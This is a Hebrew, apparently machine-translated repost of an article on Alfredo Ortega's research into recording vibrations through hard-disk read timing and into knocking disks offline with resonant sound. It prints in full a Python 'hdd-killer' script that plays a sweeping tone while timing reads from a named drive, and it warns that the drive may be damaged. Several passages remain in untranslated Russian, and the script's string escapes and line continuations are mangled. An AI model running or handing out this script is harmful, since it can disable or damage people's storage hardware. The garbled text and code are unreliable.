למה אתה לא צריך לצעוק על הדיסק הקשיח שלך

למה אתה לא צריך לצעוק על הדיסק הקשיח שלך

בכנס אבטחת המחשבים של Ekoparty 2017 בבואנוס איירס, הראה ההאקר הארגנטינאי אלפרדו אורטגה התפתחות מעניינת מאוד - מערכת להאזנת סתר לחצרים ללא שימוש במיקרופון. נשמע מוקלט ישירות לכונן הקשיח!

הדיסק הקשיח קולט בעיקר צלילים בתדר נמוך בעוצמה גבוהה, צעדים ורעידות אחרות. דיבור אנושי עדיין לא ניתן לזהות, אם כי מדענים עורכים מחקר בכיוון זה (זיהוי דיבור על ידי רעידות בתדר נמוך, המוקלטות, למשל, מגירוסקופ או HDD).

צליל הוא רטט של אוויר או מדיום אחר. אדם קולט אותם דרך עור התוף, אשר מעביר רעידות לאוזן הפנימית. המיקרופון מעוצב בערך כמו אוזן - גם כאן תנודות מוקלטות על ידי קרום דק, שמעורר דחף חשמלי. הכונן הקשיח, כמובן, נתון גם לרעידות מיקרוסקופיות עקב תנודות באוויר שמסביב. זה ידוע אפילו מהמאפיינים הטכניים של דיסקים קשיחים: יצרנים מציינים בדרך כלל את רמת הרטט המרבית המותרת, והכונן הקשיח עצמו מנסה לעתים קרובות להניח אותו במיכל חסין רעידות עשוי גומי או חומר מבודד אחר. מכאן קל להסיק שניתן להקליט צלילים באמצעות HDD. כל מה שנותר הוא להבין איך.

אלפרדו אורטגה הציע גרסה ייחודית של התקפת ערוץ צדדי, כלומר התקפת זמן. התקפה זו מבוססת על ההנחה שפעולות שונות מבוצעות במכשיר בזמנים שונים, בהתאם לנתוני הקלט שניתנו. במקרה זה, "נתוני הקלט" הם הרעידות של ראש הקריאה ושל פלטת HDD, המתואמים עם תנודות הסביבה, כלומר עם הקול. כך, על ידי מדידת זמן החישוב וביצוע ניתוח סטטיסטי של הנתונים, ניתן למדוד את תנודות הראש/מגש ומכאן את תנודות המדיום. ככל שהעיכוב בקריאת נתונים ארוך יותר, כך תנודות HDD חזקות יותר, ולכן, הצליל חזק יותר.

כיצד למדוד רטט בכונן הקשיח? פשוט מאוד: פשוט הפעל את קריאת המערכת read () - ותעד את הזמן שלוקח להשלים. מערכות הפעלה מודרניות מאפשרות לך לקרוא את התזמון של שיחות המערכת בדיוק של ננו-שניות.

מהירות קריאת המידע ממגזר תלויה במיקום הראש והמגש, המתאם עם הרעידות של מארז HDD. זה הכל.

ניתוח סטטיסטי מתבצע באמצעות כלי עזר פשוט של Kscope. כמו שאומרים, הכל גאוני פשוט.

למה אתה לא צריך לצעוק על הדיסק הקשיח שלך
כלי השירות Kscope (stat() syscall)

Kscope הוא כלי עזר קטן להמחשת הבדלים זעירים בזמני ביצוע שיחות מערכת. מָקוֹרפורסם ב-GitHub.

במאגר נפרד זמן HDD יש גרסה של כלי השירות שהוגדרה להתקפת זמן על הכונן הקשיח, כלומר מוגדרת לנתח את קריאת המערכת read ().

הדגמה של הקלטת קול באמצעות HDD, תפעול כלי השירות Kscope

הפעל וידאו

כמובן שאי אפשר להבין את הדיבור בצורה זו, אבל ה- HDD מתאים למדי כחיישן רטט. לדוגמה, ניתן לרשום אם אדם נועל נעליים קשות או יחף נכנס לחדר עם מחשב (כנראה, אם התוקף נועל נעלי ספורט רכות או שיש שטיח עבה על הרצפה, הדיסק הקשיח לא יוכל לרשום רעידות - זה שווה בדיקה). המחשב מסוגל לרשום שבירות זכוכית או תקריות אחרות בעוצמת קול חזקה. כלומר, הכונן הקשיח יכול לשמש מעין מערכת זיהוי חדירה בלתי מורשית.

רוצח HDD

Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

למה אתה לא צריך לצעוק על הדיסק הקשיח שלך
הגרעין Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из וידאו קליפ עם הדגמה של רוצח HDD

זה מוזר ש"התקפות" כאלה על דיסקים קשיחים מתרחשות לפעמים לגמרי בטעות בחיי היומיום. לדוגמה, בספטמבר 2016, מרכז הנתונים של בנק ING נאלץ להשעות את הפעילות למשך 10 שעות לאחר תרגיל כיבוי אש. עשרות כוננים קשיחים נכשלו עקב צליל חזק של גז אינרטי המשתחרר מהגלילים בלחץ גבוה. הצליל היה חזק מאוד (יותר מ-130 dB), אבל אתה אפילו לא יכול לצעוק על הכוננים הקשיחים - זה מגביר את העיכוב בגישה ל- HDD.

הדגמה של צרחות אנושיות על כוננים קשיחים במרכז נתונים. מדידת חביון

הפעל וידאו

כדי ליצור את הצליל המהדהד, אלפרדו אורטגה כתב תסריט של Python בשם HDD-killer (הדגמת וידאו).

תסריט רוצח HDD הוא די קטן, אז אתה יכול לפרסם אותו במלואו כאן.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

מקור: www.habr.com

קנה אירוח אמין לאתרים עם הגנת DDoS, שרתי VPS VDS 🔥 קנה אחסון אתרים אמין עם הגנת DDoS, שרתי VPS VDS | ProHoster